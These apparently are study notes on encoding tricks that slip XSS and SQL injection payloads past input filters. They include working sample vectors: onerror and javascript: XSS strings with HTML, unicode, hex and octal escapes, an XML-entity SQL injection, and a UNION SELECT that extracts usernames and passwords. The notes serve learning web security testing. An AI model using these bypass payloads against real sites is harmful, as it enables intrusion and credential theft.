For XSS, SQLinjection,..

Context-specific decoding

Query parameter is typically URL decoded server-side

Text content of an HTML element may be HTML decoded client-side

Think about where the payload is injected => use the relevant encoding

Obfuscation via URL encoding

Any URL-based input (URLs, file names,…) is automatically URL decoded server-side => URL-encode the input (multiple times)

Obfuscation via HTML encoding

This coulde be used for client-side attacks such as XSS

In HTML documents “**&colon;”** “**&#58;”**  and  “**&#x3a;”**  represents a colon character.

<img src=x onerror="&#x61;lert(1)">

Leading zeros

When using decimal or hex-style HTML encoding, we can include an arbitrary number of leading zeros in the code points:<a href="javascript&#00000000000058;alert(1)">Click me</a>

Obfuscation via XML encoding

<stockCheck>

<productId>

123

</productId>

<storeId>

999 &#x53;ELECT \* FROM information\_schema.tables

</storeId>

</stockCheck>

<storeId><@hex\_entities>1 UNION SELECT username || '~' || password FROM users<@/hex\_entities></storeId>

Obfuscation via unicode escaping

Inside **strings**: \u003a represents a colon

eval("\u0061lert(1)")

ES6: \u{3a}

ES6 with leading zero: <a href="javascript\u{0000000003a}alert(1)">Click me</a>

Obfuscation via hex escaping

Inside **strings**: a is represented by \x61

eval("\x61lert")

SELECT is represented by 0x53454c454354

Obfuscation via octal escaping

eval("\141lert(1)")

Obfuscation via multiple encodings

<a href="javascript:alert(1)">Click me</a>

unicode encode: <a href="javascript:**\u0061**lert(1)">Click me</a>

HTML encode: <a href="javascript:**&bsol;**u0061lert(1)">Click me</a>

We need a solid understanding of which decoding is performed on your input and in what order: string (unicode-encode) and then HTML-encode

Obfuscation via the SQL CHAR() function

CHAR(83) and CHAR(0x53) return the capital letter S

SELECT =CHAR(83)+CHAR(69)+CHAR(76)+CHAR(69)+CHAR(67)+CHAR(84)

Try:

- use hackvertor

- double encoding

- encode only part of input

- decimal code / hex code